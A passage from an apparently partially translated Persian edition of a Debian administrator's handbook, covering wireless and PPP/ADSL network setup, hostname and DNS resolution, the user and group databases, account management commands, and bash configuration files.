Getting wireless network cards to work can be a bit more challenging. First of all, they often require the installation of proprietary firmwares which are not installed by default in Debian. Then wireless networks rely on cryptography to restrict access to authorized users only, this implies storing some secret key in the network configuration. Let's tackle those topics one by one.

8.2.2.1. Installing the required firmwares

First you have to enable the non-free repository in APT's sources.list file: see قسمت 6.1, “پر کردن فایل sources.list” for details about this file. Many firmware are proprietary and are thus located in this repository. You can try to skip this step if you want, but if the next step doesn't find the required firmware, retry after having enabled the non-free section.

Then you have to install the appropriate firmware-* packages. If you don't know which package you need, you can install the isenkram package and run its isenkram-autoinstall-firmware command. The packages are often named after the hardware manufacturer or the corresponding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver usually looks for the firmware files when it is first loaded and no longer afterwards.

8.2.2.2. Wireless specific entries in /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

مثال 8.3. DHCP configuration for a wireless interface

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

At this point, you should consider restricting the read permissions on /etc/network/interfaces to the root user only since the file contains a private key that not all users should have access to.

HISTORY WEP encryption

Usage of the deprecated WEP encryption protocol is possible with the wireless-tools package. See /usr/share/doc/wireless-tools/README.Debian for instructions.

8.2.3. برقراری ارتباط با PPP از طریق مودم PSTN

ارتباط نقطه به نقطه (PPP) یک اتصال متناوب بوجود می‌آورد؛ این متداول‌ترین راه حل برای برقراری ارتباط از طریق مودم‌های خطوط تلفن است (“PSTN Modem”، چرا که ارتباط از طریق شبکه عمومی سووچینگ تلفن انجام می‌شود).

چنین ارتباطی مستلزم دارا بودن یک حساب کاربری با دسترسی مشخص است که شامل شماره تلفن، نام کاربری، گذرواژه و گاهی نیز شیوه احزار هویت می‌شود. این ارتباط با استفاده از ابزار pppconfig در بسته‌ای با همین نام پیکربندی می‌گردد. به صورت پیش‌فرض، ارتباطی با نام provider ایجاد می‌کند (مانند ارائه‌دهنده خدمات اینترنت). زمانی که درباره پروتکل احراز هویت شک دارید، PAP را انتخاب کنید: این پروتکل توسط اکثر شرکت‌های ارائه‌دهنده خدمات اینترنت پشتیبانی می‌شود.

پس از پیکربندی، امکان برقراری ارتباط با استفاده از دستور pon میسر است (با دادن نام ارتباط به عنوان پارامتر، زمانی که مقدار پیش‌فرض provider مناسب نباشد). ارتباط با استفاده از دستور pon قطع می‌شود. این دو دستور می‌توانند توسط کاربر root اجرا شوند یا توسط هر کاربر دیگری که در گروه dip قرار داشته باشد.

8.2.4. برقراری ارتباط از طریق مودم ADSL

عبارت متداول “مودم ADSL” طیف گسترده‌ای از دستگاه‌ها با قابلیت‌های متفاوت را شامل می‌شود. مودم‌هایی که دارای رابط شبکه Ethernet (و نه تنها رابط USB) باشند به سادگی با لینوکس سازگار هستند. این‌ها گزینه‌های محبوبی بشمار می‌روند؛ اکثر ارائه‌دهندگان خدمات اینترنت ADSL بسته‌ای را با رابط‌های شبکه Ethernet اجاره (lease) می‌دهند. با توجه به نوع مودم، پیکربندی مورد نیاز می‌تواند متفاوت باشد.

8.2.4.1. مودم‌هایی که از PPPOE پشتیبانی می‌کنند

برخی مودم‌های Ethernet با پروتکل PPPOE کار می‌کنند (Point to Point Protocol over Ethernet). ابزار pppoeconf (از بسته‌ای با همین نام) برای پیکربندی چنین ارتباطی استفاده می‌شود. به این منظور، فایل /etc/ppp/peers/dsl-provider را تنظیمات موجود تغییر می‌دهد و اطلاعات ورود را در فایل‌های /etc/ppp/pap-secrets و /etc/ppp/chap-secrets ذخیره می‌کند. توصیه می‌شود که تغییرات پیشنهادی آن را بپذیرید.

زمانی که این پیکربندی به پایان برسد، می‌توانید از دستورهای pon dsl-provider و poff dsl-provider برای برقراری و قطع ارتباط استفاده کنید.

نکته اجرای ppp در زمان راه‌اندازی سیستم

برقراری ارتباط PPP از طریق ADSL به صورت متناوب صورت می‌گیرد. از آنجا که قیمت آن‌ها بر اساس زمان محاسبه نمی‌شود، باز نگاه داشتن چنین ارتباطی عواقب چندانی ندارد. شیوه استاندارد این کار استفاده از سیستم init است.

With systemd, adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as /etc/systemd/system/adsl-connection.service, with contents such as the following:

[Unit] Description=ADSL connection [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

زمانی که این فایل واحد تعریف شود، باید با استفاده از systemctl enable adsl-connection فعال گردد. آنگاه اولین اجرای آن می‌تواند با systemctl start adsl-connection صورت گیرد؛ از این به بعد، در هر راه‌اندازی سیستم اجرا می‌گردد.

در سیستم‌هایی که از systemd استفاده نمی‌کنند (از جمله Wheezy و نسخه‌های پیشین دبیان)، شیوه سنتی SystemV init به گونه‌ای متفاوت عمل می‌کند. در چنین سیستم‌هایی، تمام آنچه مورد نیاز است افزودن خطی به انتهای فایل /etc/inittab است، هر زمان ارتباط قطع گردد، init آن را متصل می‌کند.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

برای ارتباطات ADSL که به صورت روزانه قطع می‌گردند، این شیوه وقفه‌های موجود را کاهش می‌دهد.

8.2.4.2. مودم‌هایی که از PPTP پشتیبانی می‌کنند

پروتکل PPTP (Point-to-Point Tunneling Protocol) توسط مایکروسافت بوجود آمده است. در زمان رشد فناوری ADSL، به سرعت با PPPOE جایگزین شد. اگر استفاده از این پروتکل برای شما اجباری است، قسمت 10.3.4, “PPTP” را مشاهده کنید.

8.2.4.3. مودم‌هایی که از DHCP پشتیبانی می‌کنند

زمانی که مودم با استفاده از کابل شبکه (crossover) به رایانه متصل می‌شود معمولا با استفاده از DHCP تنظیمات مربوط به شبکه صورت می‌گیرد؛ مودم به صورت خودکار مانند یک gateway عمل کرده و عملیات مسیریابی بسته‌ها را به عهده می‌گیرد (به این معنا که ترافیک بین رایانه و شبکه اینترنت را مدیریت می‌کند).

بازگشت به مقدمات استفاده از کابل Crossover برای یک ارتباط مستقیم

کارت‌های شبکه در هر رایانه انتظار ارسال و دریافت اطلاعات روی سیم‌های مختلفی از کابل شبکه را دارند. زمانی که یک رایانه را به شبکه محلی متصل می‌کنید، معمولا از یک کابل straght یا crossover بین کارت شبکه و repeter یا switch استفاده می‌شود. اگر بخواهید دو رایانه را به صورت مستقیم به یکدیگر متصل کنید (بدون هیچ دستگاه واسطه‌ای) باید سیگنال ارسالی از کارب شبکه یکی را به سیگنال دریافتی از کارت شبکه دیگری هدایت کنید و برعکس. این هدف استفاده از کابل crossover است.

Note that this distinction has become almost irrelevant over time, as modern network cards are able to detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.

اکثر “مسیریاب‌های ADSL” موجود در بازار به این شیوه می‌توانند استفاده شوند دست مانند اکثر مودم‌های ADSL که توسط ارائه‌دهندگان خدمات اینترنت عرضه می‌شوند.

8.2.5. پیکربندی خودکار شبکه برای کاربران

بسیاری از مهندسان فالکوت دارای لپ‌تاپی هستند که به دلایل کاری در خانه نیز از آن استفاده می‌کنند. پیکربندی شبکه مورد استفاده بسته به محل استفاده متفاوت است. در خانه، ممکن است یک شبکه وای‌فای (به همراه گذرواژه WPA) باشد در حالی که در محل کار از یک شبکه کابلی با امنیت و پهنای باند بیشتر استفاده می‌شود.

برای جلوگیری از اتصال و قطع دستی هر یک از رابط‌های شبکه، مدیرسیستم‌ها اقدام به نصب بسته network-manager روی این لپ‌تاپ‌ها کرده‌اند. این نرم‌افزار به کاربران امکان می‌دهد با استفاده از یک نماد کوچک در نوار بالایی صفحه بین رابط‌های مختلف شبکه سوئیچ کنند. کلیک روی این نماد منجر به نمایش فهرستی از شبکه‌های موجود (کابلی و بیسیم) می‌شود، تا به راحتی بتوانند به آن‌ها متصل شوند. برنامه پیکربندی مربوط به هر رابط شبکه را ذخیره می‌کند تا در صورت بروز مشکل در هر یک، از بهترین شبکه موجود به صورت جایگزین استفاده شود.

برای این منظور، برنامه به دو قسمت تقسیم شده است: یک فرآیند پس‌زمینه که توسط root فعال‌سای و پیکربندی رابط‌های شبکه را مدیریت و یک رابط کاربری که این فرآیند پس‌زمینه را کنترل می‌کند. PolicyKit احراز هویت مورد نیاز برای کنترل این برنامه را مدیریت کرده و دبیان به صورتی PolicyKit را پیکربندی نموده که اعضای گروه netdev بتوانند اتصالات مربوط به Network Manager را اضافه کنند یا تغییر دهند.

Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces and /etc/network/interfaces.d/ for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces any configuration for all interfaces that must be managed by Network Manager.

نکته اینکه این برنامه به صورت پیش‌فرض نصب می‌شود زمانی که گزینه “Desktop Environment” هنگام نصب اولیه انتخاب شده باشد.

8.3. تنظیم Hostname و پیکربندی Name Service

هدف از انتصاب نام به نشانی IP آسان کردن یادگیری توسط انسان است. در واقعیت، یک نشانی IP رابط شبکه‌ای را تشخیص می‌دهد که به یک کارت شبکه متصل باشد. از آنجا که هر رایانه می‌تواند چند کارت شبکه داشته باشد، و چند رابط شبکه روی هر کدام، هر رایانه به صورت جداگانه قادر به داشتن چند نام مختلف در سیستم نام دامنه می‌باشد.

هر رایانه، اگرچه، با یک نام اصلی (یا “canonical”) شناخته می‌شود که در فایل /etc/hostname ذخیره شده و توسط اسکریپت‌های راه‌اندازی توسط دستور hostname به کرنل لینوکس منتقل می‌شود. مقدار فعلی در فایل‌سیستم مجازی موجود است و می‌توانید با استفاده از دستور cat /proc/sys/kernel/hostname آن را ببینید.

بازگشت به مقدمات فایل‌سیستم‌های مجازی /proc/ و /sys/

ساختار درختی فایل‌های /proc/ و /sys/ توسط فایل‌سیستم‌های “مجازی” تولید می‌شود. این یک شیوه عملی برای بازیابی اطلاعات از کرنل (با فهرست‌گیری از فایل‌های مجازی) و ارسال اطلاعات به کرنل (با نوشتن روی فایل‌های مجازی) است.

/sys/ in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that /sys/ has only existed since kernel version 2.6. /proc/ describes the current state of the kernel: the files in this directory contain information about the processes running on the system and its hardware.

عجیب اینکه، نام دامنه به شیوه مشابه بالا مدیریت نمی‌شود، بلکه از نام کامل ماشین نشات گرفته که در حین فرآیند تخصیص نام کسب شده است. می‌توانید آن را در فایل /etc/hosts تغییر دهید؛ تنها کافی است نشانی و نام مورد نظر خود را مشابه نمونه زیر وارد کنید:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. تخصیص نام

مکانیزم تخصیص نام در لینوکس بسیار انعطاف‌پذیر است و می‌تواند از منابع گوناگونی مانند فایل /etc/nsswitch.conf بدست آید. خطی که دربردانده تخصیص نام است hosts می‌باشد. به صورت پیش‌فرض، شامل file dns است، که به معنی دسترسی اولیه سیستم به فایل /etc/hosts سپس سرور نام دامنه است. NIS/NIS+ یا سرور LDAP منابع دیگر تخصیص نام هستند.

یادداشت NSS و DNS

آگاه باشید دستوراتی که به صورت خاص از DNS پرس‌وجو می‌کنند (به خصوص host) از مکانیزم استاندارد تخصیص نام (NSS) استفاده نمی‌کنند. به همین دلیل، محتویات فایل‌های /etc/nsswitch.conf و /etc/hosts را به حساب نمی‌آورند.

8.3.1.1. پیکربندی سرورهای DNS

سرویس نام دامنه (Domain Name Server) یک سرویس توزیع‌شده و سلسله‌مراتبی است که نام‌ها را به نشانی‌های IP و برعکس اختصاص می‌دهد. به طور خاص، می‌تواند یک نام مانند www.eyrolles.com را به نشانی IP 213.244.11.247 تبدیل کند.

برای دسترسی به اطلاعات DNS، یک سرور به خصوص باید وجود داشته باشد. شرکت فالکات سرور مخصوص به خود را دارد، اما یک شخص به احتمال زیاد از سرورهای ارائه شده توسط ISP خود استفاده می‌کند.

DNS سرورهای مورد استفاده در فایل /etc/resolv.conf تعریف شده‌اند که هر یک در خط جداگانه‌ای به همراه nameserver در ابتدا سپس نشانی IP قرار دارند، مانند نمونه زیر:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

نکته اینکه فایل /etc/resolv.conf در صورت استفاده از NetworkManager یا پیکربندی DHCP به صورت خودکار بروزرسانی شده و تغییر می‌کند.

8.3.1.2. فایل /etc/hosts

If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts file, usually reserved for local network stations. The syntax of this file as described in hosts(5) is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).

این فایل در هنگام قطع ارتباط شبکه یا زمانی که سروهای DNS غیرقابل دسترس باشند نیز موجود است، اما تنها زمانی مفید خواهد بود که روی تمام رایانه‌های شبکه موجود باشد. کوچک‌ترین تغییر در آن نیز باید در تمام رایانه‌ها اعمال گردد. به همین دلیل است که /etc/hosts معمولا شامل مهمترین گزینه‌های موجود است.

این فایل برای شبکه‌های کوچکی که به اینترنت متصل نیستند مفید است، اما با افزایش تعداد دستگاه‌ها از ۵ به بالا، توصیه می‌شود که از یک سرور DNS مناسب استفاده گردد.

نکته دورزدن DNS

از آنجا که برنامه‌ها قبل از پرس و جو DNS ابتدا فایل /etc/hosts را بررسی می‌کنند، امکان درج اطلاعات مربوط به برنامه قبل از اینکه از DNS پرس و جو کند وجود دارد، که با این روش می‌توان شیوه متداول استفاده از DNS را دور زد.

زمانی که تغییرات مربوط به DNS اعمال نمی‌شوند، برای بررسی اتصال به یک وبسایت با نام مشخص، می‌توان از این روش استفاده کرد.

یک امکان استفاده دیگر هدایت ترافیک مورد نظر یک دستگاه به سیستم خود است. برای نمونه، نام سرورهایی که دارای خدمات تبلیغاتی هستند به نوعی می‌تواند تغییر کند که این تبلیغات آزاردهنده دیگر به دستگاه کاربر هدایت نشوند.

8.4. پایگاه‌داده‌های کاربران و گروه‌ها

The list of users is usually stored in the /etc/passwd file, while the /etc/shadow file stores hashed passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:”).

یادداشت ویرایش فایل‌های سیستمی

فایل‌های سیستمی که در این فصل به آن‌ها اشاره شده همگی از نوع متنی بوده که می‌توانند با استفاده از یک ویرایشگر متن تغییر یابند. با در نظر گرفتن اهمیت آن‌ها برای عملکرد صحیح سیستم، ایده خوبی است که هنگام ویرایش آن‌ها برخی نکات را مد نظر قرار دهیم. ابتدا، قبل از ویرایش یک فایل سیستمی، حتما یک رونوشت از آن تهیه کنید. سپس در سرورهایی که بیش از یک کاربر ممکن است در هر لحظه این فایل‌ها را مشاهده یا ویرایش کند، گام‌های دیگری برای جلوگیری از خراب شدن این فایل‌ها باید برداشته شوند.

به این منظور، تنها کافی است از دستور vipw برای ویرایش فایل /etc/passwd و از دستور vigr برای ویرایش فایل /etc/group استفاده کرد. این دستورات قبل از بازکردن ویرایشگر، فایل را قفل می‌کنند (ویرایشگر متن پیش‌فرض vi است، مگر توسط متغیر محلی EDITOR تغییر کرده باشد). گزینه -s در این دستورات امکان ویرایش فایل shadow مربوطه را می‌دهد.

بازگشت به مقدمات Crypt، تابعی یک-طرفه

crypt یک تابع یک-طرفه است که رشته‌ای مانند A را به رشته B تبدیل می‌کند به صورتی که رشته A از B نتواند به دست آید. تنها راه شناسایی A بررسی تمام گزینه‌های موجود است تا بتوان تشخیص داد آیا تبدیل انجام شده توسط تابع منجر به تولید B می‌شود یا خیر. تا ۸ کاراکتر را در ورودی استفاده کرده (رشته A و رشته‌ای شامل ۱۳ کاراکتر قابل چاپ با کد اسکی را تولید می‌کند (رشته B).

8.4.1. فهرست کاربران: /etc/passwd

فیلدهای مورد استفاده در فایل /etc/passwd عبارتند از:

نام کاربری، برای نمونه rhertzog؛

گذرواژه: این گذرواژه‌ای است که توسط تابع crypt و مبتنی بر استانداردهای DES، MD5، SHA-256 یا SHA-512 تولید شده است. مقدار ویژه “x” به این معنا است که گذرواژه رمزگذاری شده در فایل /etc/shadow قرار دارد؛

uid: شناسه منحصربفرد هر کاربر؛

gid: شناسه منحصربفرد گروه هر کاربر (دبیان به صورت پیش‌فرض برای هر کاربر یک گروه خاص قرار می‌دهد)؛

GECOS: فید داده‌ای که معمولا نام کامل کاربر را شامل می‌شود؛

دایرکتروی حساب کاربری، که برای ذخیره‌سازی فایل‌های شخصی هر کاربر اختصاص می‌یابد (متغیر محلی $HOME معمولا به اینجا اشاره می‌کند)؛

برنامه‌ای که هنگام ورود کاربر اجرا می‌شود. این معمولا یک مفسر خط‌فرمان (پوسته) است که کنترل آزاد را در اختیار کاربر می‌گذارد. اگر گزینه /bin/false را استفاده کنید به این معنا است که کاربر نمی‌تواند لاگین کند.

بازگشت به مقدمات گروه در یونیکس

یک گروه یونیکس شامل موجودیتی مستقل از مجموعه کاربرانی است که می‌توانند طبق یک سری مجوزهای خاص عملیات یکسانی را روی سیستم انجام دهند. همچنین می‌توانید استفاده از یک سری برنامه‌ها را برای یک گروه خاص منع کنید.

8.4.2. فایل رمزگذاری‌شده و مخفی گذرواژه‌ها: /etc/shadow

فایل /etc/shadow شامل فیلدهای زیر است:

نام کاربری؛

گذرواژه رمزگذاری‌شده؛

تعدادی فیلد که مدت زمان اعتبار گذرواژه را تعیین می‌کنند.

امنیت امنیت فایل /etc/shadow

/etc/shadow, unlike its alter-ego, /etc/passwd, cannot be read by regular users. Any hashed password stored in /etc/passwd is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using /etc/shadow.

مستندات قالب فایل‌های /etc/passwd، /etc/shadow و /etc/group

این قالب‌ها در صفحات راهنمای مربوط به خود مستندسازی شده‌اند: passwd(5) shadow(5) و group(5)

8.4.3. تغییر یک حساب کاربری موجود یا گذرواژه آن

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file; chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

در نهایت، دستور chage یا CHange AGE به مدیرسیستم امکان تغییر زمان اعتبار گذرواژه را می‌دهد (گزینه -l user تنظیمات فعلی را نمایش می‌دهد). می‌توانید برای مجبور کردن کاربر به تغییر گذرواژه خود از دستور passwd -e user استفاده کنید تا در هنگام ورود بعدی به سیستم، گذرواژه جدید را وارد کند.

8.4.4. غیرفعال‌سازی یک حساب‌کاربری

ممکن است بخواهید “یک حساب‌کاربری را غیرفعال کنید” (قفل‌کردن یک کاربر)، به عنوان یک عمل انضباطی، به منظور تحقیقات بیشتر روی یک موضوع یا در صورتی که کاربر مدت زمان طولانی حضور نداشته باشد. یک حساب‌کاربری غیرفعال‌شده به این معنی است که وی نمی‌تواند وارد سیستم شود و به آن دسترسی داشته باشد. محتویات این حساب‌کاربری بدون کوچکترین تغییری روی سیستم باقی می‌مانند؛ تنها به سادگی دسترسی به آن وجود ندارد. این کار با استفاده از دستور passwd -l user انجام می‌شود (lock). فعال‌سازی مجدد آن نیز با استفاده از گزینه -u در همان دستور صورت می‌گیرد (unlock).

مطالعه بیشتر NSS و پایگاه‌داده‌های سیستم

بجای استفاده از فایل‌های معمولی برای ذخیره‌سازی فهرستی از کاربران و گروه‌ها، می‌توانید از سایر پایگاه‌داده‌ها برای اینکار استفاده کنید مانند LDAP یا db با استفاده از یک ماژول NSS مناسب. ماژول‌های مورد استفاده در فایل /etc/nsswitch.conf فهرست می‌شوند، درست زیر مدخل‌های passwd، shadow و group. برای یک نمونه مشخص از کاربرد ماژول NSS توسط LDAP قسمت قسمت 11.7.3.1, “پیکربندی NSS” را مشاهده کنید.

8.4.5. فهرست گروه: /etc/group

گروه‌ها در فایل /etc/group فهرست می‌شوند، یک پایگاه‌داده ساده متنی درست مانند /etc/passwd که شامل فیلدهای زیر است:

نام گروه؛

گذرواژه (اختیاری): این فیلد برای الحاق یک گروه استفاده می‌شود که یک عضو معمولی به حساب نمی‌آید (با دستورات newgrp یا sg، قسمت بازگشت به مقدمات کار با چندین گروه را مشاهده کنید)؛

gid: شناسه منحصربفرد هر گروه؛

فهرست اعضا: فهرستی از نام کاربرانی که عضو این گروه هستند، که با کاما جدا شده‌اند.

بازگشت به مقدمات کار با چندین گروه

هر کاربر می‌تواند عضو چندین گروه باشد؛ یکی از آن‌ها “گروه اصلی” است. گروه اصلی هر کاربر، به صورت پیش‌فرض، هنگام پیکربندی اولیه حساب‌کاربری بوجود آمده است. به صورت پیش‌فرض، هر فایلی که کاربر ایجاد می‌کند به وی و گروهش اختصاص دارد. این عمل همیشه مطلوب نیست؛ برای نمونه، زمانی که کاربر باید در دایرکتروی کار کند که شامل گروه دیگری باشد. در این مورد، کاربر باید گروه اصلی‌اش را با استفاده از دستورات newgrp، که یک پوسته جدید را اَغاز می‌کند یا sg یک دستور را با توجه به گروه جایگزین وارد شده اجرا می‌کند. این دستورات یه کاربر امکان می‌دهند که به گروه جدید دیگری اضافه شوند. اگر گروه با استفاده از گذرواژه محافظت شود، باید قبل از اینکه دستور اجرا شود آن را وارد کنند.

به علاوه، کاربر می‌تواند بیت setgid را روی دایرکتوری تنظیم کند، که منجر می‌شود فایل‌های ایجاد شده روی آن دایرکتوری به صورت خودکار به گروه درستی اختصاص یابند. برای جزئیات بیشتر، قسمت امنیت دایرکتوری setgid همراه با sticky bit را مشاهده کنید.

دستور id وضعیت فعلی یک کاربر را نمایش می‌دهد، به همراه شناسه منحربفرد وی (متغیر uid)، گروه اصلی فعلی (متغیر gid) و فهرستی از گروه‌ها که کاربر به متعلق به آن‌هاست (متغیر groups).

The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid or identifier). The command gpasswd group changes the password for the group, while the gpasswd -r group command deletes it.

نکته getent

دستور getent یا get entries به شیوه‌ای استاندارد به بررسی پایگاه‌داده‌های سیستم می‌پردازد، با استفاده از توابع کتابخانه‌ای مناسب، که در بازگشت با استفاده از فراخوانی ماژول‌های NSS موجود در فایل /etc/nsswitch.conf اطلاعات را باز می‌گرداند. دستور یک یا دو پارامتر می‌گیرد: نام پایگاه‌داده‌ای که قصد بررسی دارد و یک کلیدواژه احتمالی برای جستجو. بنابراین، دستور getent passwd rhertzog اطلاعات پایگاه‌داده کاربری را برای کاربر rhertzog بدست می‌آورد.

8.5. ایجاد حساب‌های کاربری

یکی از اولین اقدامات مدیرسیستم هنگام برپایی یک سیستم ایجاد حساب‌های کاربری است. این کار با استفاده از دستور adduser صورت می‌گیرد که نام کاربری را به عنوان پارامتر دریافت می‌کند.

دستور adduser قبل از ایجاد حساب‌کاربری چند سوال می‌پرسد، اما استفاده از آن بسیار ساده است. فایل پیکربندی آن، /etc/adduser.conf شامل تمام تنظیمات جالب است: از آن می‌توان برای تنظیم ظرفیت دیسک یا quota برای هر کاربر با استفاده از یک قالب پیش‌فرض یا تغییر مکان حساب‌های کاربری استفاده کرد؛ دومی بسیار مورد استفاده است، اما زمانی کاربرد دارد که تعداد فراوانی کاربر وجود دارند که باید روی دیسک‌های مختلف مدیریت شوند، برای نمونه. همچنین می‌توانید پوسته پیش‌فرض مورد استفاده را نیز تغییر دهید.

بازگشت به مقدمات Quota

عبارت “quota” به محدودیت منابع در یک سیستم گفته می‌شود که یک کاربر می‌تواند از آن‌ها استفاده کند. این عبارت اغلب درباره حجم دیسک استفاده می‌شود.

فرآیند ایجاد یک حساب کاربری محتویات دایرکتوری home کاربر را با استفاده از فایل /etc/skel/ پر می‌کند. این فایل مجموعه‌ای از فایل‌ها و دایرکتوری‌های استاندارد را بوجود می‌آورد.

در برخی موارد، افزودن کاربر یه یک گروه کار مفیدی است (به جز گروه اصلی کاربر) به منظور اینکه مجوزهای بیشتری در اختیار کاربر قرار گیرد. برای نمونه، کاربری که در گروه audio قرار دارد می‌تواند به دستگاه‌های صوتی دسترسی داشته باشد (قسمت بازگشت به مقدمات مجوزهای دسترسی به دستگاه را مشاهده کنید). این عمل با استفاده از دستور adduser user group انجام می‌شود.

بازگشت به مقدمات مجوزهای دسترسی به دستگاه

هر دستگاه سخت‌افزاری در یونیکس با استفاده از یک فایل ویژه نمایش داده می‌شود، که معمولا در ساختار درختی زیر /dev/ یا (DEVices) قرار می‌گیرد. دو نوع فایل ویژه با توجه به ماهیت دستگاه وجود دارد: “حالت کاراکتری” و “حالت بلاکی”، هر حالت تنها دسترسی تعداد معدودی از عملیات را صادر می‌کند. حالت کاراکتری تنها عملیات خواندن/نوشتن را مجاز می‌داند، حالت بلاک اجازه جستجو بین داده‌های موجود را می‌دهد. در نهایت، هر فایل ویژه با دو عدد متناسب است (“ماژور” و “مینور”) که دستگاه را به شیوه‌ای منحصربفرد برای کرنل قابل شناسایی می‌کنند. چنین فایلی، که با دستور mknod ایجاد می‌شود، تنها شامل یک نام نمادین (و خوانا برای انسان) است.

مجوزهای یک فایل ویژه منطبق با مجوزهای مورد نیاز برای دسترسی به خود دستگاه است. بنابراین، فایلی مانند /dev/mixer، که ترکیب‌کننده صوتی را مشخص می‌کند، تنها شامل مجوزهای خواندن/نوشتن کاربر root و اعضای گروه audio است. تنها این کاربران هستند که می‌توانند ترکیب‌کننده صوتی را راهبری کنند.

It should be noted that the combination of udev and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.

8.6. محیط پوسته

مفسرهای خط‌فرمان (پوسته‌ها) یکی از اولین راه‌های تعامل کاربر با رایانه هستند و به همین دلیل باید عملکرد ساده و روشنی داشته باشند. بسیاری از آن‌ها امکان فراخوانی اسکریپت‌های راه‌انداز را به منظور پیکربندی محیط خود می‌دهند (کامل‌سازی خودکار، متن روی صفحه و موارد دیگر).

bash به عنوان پوسته استاندارد از فایل /etc/bash.bashrc به عنوان اسکریپ راه‌انداز پوسته‌های “تعاملی” و از فایل /etc/profile برای پوسته‌های “ورودی” استفاده می‌کند.

بازگشت به مقدمات پوسته ورودی و پوسته تعاملی

به عبارت ساده، یک پوسته ورودی زمانی فراخوانی می‌شود که شما به کنسول از طریق محلی یا در محیط شبکه با استفاده از ssh وارد شده باشید، یا زمانی که دستور bash --login را اجرا کنید. جدا از اینکه این یک پوسته ورودی باشد یا نه، یک پوسته می‌تواند تعاملی (برای نمونه در ترمینال مبتنی بر xterm) یا غیرتعاملی (هنگام اجرای یک اسکریپت) باشد.

اکتشاف سایر پوسته‌ها، سایر اسکریپت‌ها

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses /etc/zshrc and /etc/zshenv; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

برای bash، فعال‌سازی “کامل‌سازی خودکار” در فایل /etc/bash.bashrc بسیار مفید است (با استفاده از فعال‌سازی چند خط).

بازگشت به مقدمات کامل‌سازی خودکار

بسیازی از مفسرهای خط‌فرمان قابلیت کامل‌کردن کلمات و عبارت‌ها را دارا هستند، که به کاربر این امکان را می‌دهد با فشردن کلید Tab دستور یا پارامتر مربوط به آن را کامل کند. این امر به کاربران کمک می‌کند به شیوه راحت‌تر و کم خطاتری از پوسته استفاده کنند.

This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are install, remove, upgrade, etc.).

The package bash-completion contains completions for most common programs.

بازگشت به مقدمات کاراکتر تیلدا، یک میانبر برای HOME

کاراکتر تیلدا معمولا به متغیر محلی HOME اشاره می‌کند (دایرکتوری خانه برای کاربر، مانند /home/rhertzog/). مفسرهای خط‌فرمان به صورت خودکار عملیات جایگزینی آن را انجام می‌دهند: ~/hello.txt به /home/rhertzog/hello.txt تغییر می‌یابد.

کاراکتر تیلدا همچنین امکان دسترسی به دایرکتوری خانه یک کاربر دیگر را می‌دهد. بنابراین، ~rmas/bonjour.txt متناظر با /home/rmas/bonjour.txt است.

در کنار این اسکریپت‌های متداول، هر کاربر می‌تواند با استفاده از ~/.bashrc و ~/.bash_profile پوسته خود را به صورت جداگانه از سیستم پیکربندی کند. متداول‌ترین این تغییرات افزوده شدن قابلیت نام مستعار است؛ عبارت‌هایی که هنگام اجرا با دستور معادلشان جایگزین می‌شوند که فراخوانی آن دستور بخصوص را سریع‌تر می‌سازند. برای نمونه، شما می‌توانید نام مستعار la را برای دستور ls -la | less بکار گیرید؛ تنها کافی است دستور la را وارد کرده تا محتویات یک دایرکتوری را به صورت خواسته شده مشاهده کنید.

بازگشت به مقدمات متغیرهای محلی

متغیرهای محلی امکان ذخیره‌سازی تنظیمات سراسری برای پوسته یا سایر برنامه‌های سیستم را بوجود می‌آورند. آن‌ها وابسته به محیط (هر فرآیند متغیرهای محلی مربوط به خود را دارد) و قابل ارث‌بری هستند. امکان آخر این اجازه را به یک پوسته می‌دهد تا با تعریف این متغیرها، آن‌ها را در تمام برنامه‌های زیرمجموعه خود قابل دسترس سازد.

